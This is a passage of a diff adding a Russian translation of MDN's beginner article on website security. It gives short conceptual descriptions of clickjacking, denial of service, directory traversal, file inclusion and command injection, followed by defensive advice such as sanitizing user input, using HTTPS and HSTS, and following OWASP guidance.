+ <li><a href="https://www.owasp.org/index.php/Clickjacking">Clickjacking</a>. В этой атаке злоумышленник перехватывает клики, предназначенные для видимого сайта верхнего уровня, и направляет их на скрытую ниже страницу. Этот метод можно использовать, например, для отображения законного сайта банка, но захвата учетных данных для входа в невидимый {{htmlelement("iframe")}} , контролируемый злоумышленником. Clickjacking также можно использовать для того, чтобы заставить пользователя нажать кнопку на видимом сайте, но при этом на самом деле невольно нажимать совершенно другую кнопку. В качестве защиты ваш сайт может предотвратить встраивание себя в iframe на другом сайте, установив соответствующие заголовки HTTP.</li>
+ <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">Denial of Service</a> (DoS). DoS обычно достигается за счет наводнения целевого сайта поддельными запросами, так что доступ к сайту нарушается для законных пользователей. Запросы могут быть просто многочисленными или по отдельности потреблять большие объемы ресурсов (например, медленное чтение или загрузка больших файлов). Защита от DoS обычно работает, выявляя и блокируя «плохой» трафик, пропуская при этом легитимные сообщения. Эти средства защиты обычно расположены перед веб-сервером или на нем (они не являются частью самого веб-приложения).</li>
+ <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">Directory Traversal</a> (Файл и раскрытие). В этой атаке злоумышленник пытается получить доступ к частям файловой системы веб-сервера, к которым у него не должно быть доступа. Эта уязвимость возникает, когда пользователь может передавать имена файлов, содержащие символы навигации файловой системы (например, <code>../../</code>). Решение состоит в том, чтобы очищать ввод перед его использованием.</li>
+ <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">File Inclusion</a>. В этой атаке пользователь может "случайно" указать файл для отображения или выполнения в данных, передаваемых на сервер. После загрузки этот файл может выполняться на веб-сервере или на стороне клиента (что приводит к XSS-атаке). Решение состоит в том, чтобы дезинфицировать ввод перед его использованием.</li>
+ <li><a href="https://www.owasp.org/index.php/Command_Injection">Внедрение команд</a>. Атаки с внедрением команд позволяют злоумышленнику выполнять произвольные системные команды в операционной системе хоста. Решение состоит в том, чтобы дезинфицировать вводимые пользователем данные до того, как их можно будет использовать в системных вызовах.</li>
+</ul>
+
+<p>Полный список угроз безопасности веб-сайтов см. <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category: Web security exploits</a> (Wikipedia) и <a href="https://www.owasp.org/index.php/Category:Attack">Category: Attack</a> (Open Web Application Security Project).</p>
+
+<h2 id="Несколько_ключевых_сообщений">Несколько ключевых сообщений</h2>
+
+<p>Почти все эксплойты безопасности, описанные в предыдущих разделах, успешны, когда веб-приложение доверяет данным из браузера. Что бы вы ни делали для повышения безопасности своего веб-сайта, вы должны дезинфицировать все данные, исходящие от пользователей, прежде чем они будут отображаться в браузере, использоваться в запросах SQL или передаваться в вызов операционной системы или файловой системы.</p>
+
+<div class="warning">
+<p>Внимание! Самый важный урок, который вы можете извлечь о безопасности веб-сайтов: <strong>никогда не доверяйте данным из браузера</strong>. Это включает, помимо прочего, данные в параметрах URL-адресов запросов <code>GET</code>, запросов <code>POST</code>, заголовков HTTP и файлов cookie, а также файлов, загруженных пользователем. Всегда проверяйте и дезинфицируйте все входящие данные. Всегда предполагайте худшее!</p>
+</div>
+
+<p>Вы можете предпринять ряд других конкретных шагов:</p>
+
+<ul>
+ <li>Используйте более эффективное управление паролями. Поощряйте регулярную смену надежных паролей. Рассмотрите возможность двухфакторной аутентификации для вашего сайта, чтобы в дополнение к паролю пользователь должен был ввести другой код аутентификации (обычно тот, который доставляется через какое-то физическое оборудование, которое будет иметь только пользователь, например, код в SMS, отправленном на его телефон).</li>
+ <li>Настройте свой веб-сервер для использования <a href="/en-US/docs/Glossary/https">HTTPS</a> и <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS). HTTPS шифрует данные, передаваемые между вашим клиентом и сервером. Это гарантирует, что учетные данные для входа, файлы cookie, данные запросов <code>POST</code> и информация заголовка не будут легко доступны для злоумышленников.</li>
+ <li>Следите за наиболее популярными угрозами (<a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">текущий список OWASP находится здесь</a>) и в первую очередь устраняйте наиболее распространенные уязвимости.</li>
+ <li>Используйте <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">инструменты сканирования уязвимостей</a>, чтобы выполнить автоматическое тестирование безопасности на вашем сайте. Позже ваш очень успешный веб-сайт может также обнаруживать ошибки, предлагая вознаграждение за обнаружение ошибок, как это <a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">делает здесь</a> Mozilla.</li>
+ <li>Храните и отображайте только те данные, которые вам нужны. Например, если ваши пользователи должны хранить конфиденциальную информацию, такую как данные кредитной карты, отображайте часть номера карты только для того, чтобы он мог быть идентифицирован пользователем, и недостаточно, чтобы его мог скопировать злоумышленник и использовать на другом сайте. Самый распространенный шаблон в настоящее время - отображение только последних 4 цифр номера кредитной карты.</li>
+</ul>
+
+<p>Веб-фреймворки могут помочь смягчить многие из наиболее распространенных уязвимостей.</p>
+
+<h2 id="Резюме">Резюме</h2>
+
+<p>В этой статье объясняется концепция веб-безопасности и некоторые из наиболее распространенных угроз, от которых ваш веб-сайт должен пытаться защититься. Самое главное, вы должны понимать, что веб-приложение не может доверять никаким данным из веб-браузера. Все пользовательские данные должны быть очищены перед отображением или использованием в SQL-запросах и вызовах файловой системы.</p>
+
+<p>Этой статьей вы подошли к концу <a href="/en-US/docs/Learn/Server-side/First_steps">этого модуля</a>, охватывающего ваши первые шаги в программировании на стороне сервера. Мы надеемся, что вам понравилось изучать эти фундаментальные концепции, и теперь вы готовы выбрать веб-платформу и начать программировать.</p>
+
+<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
+
+<h2 id="В_этом_модуле">В этом модуле</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Introduction">Введение в серверную часть</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Обзор технологии клиент-сервер</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Серверные веб-фреймворки</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Безопасность веб-сайта</a></li>
+</ul>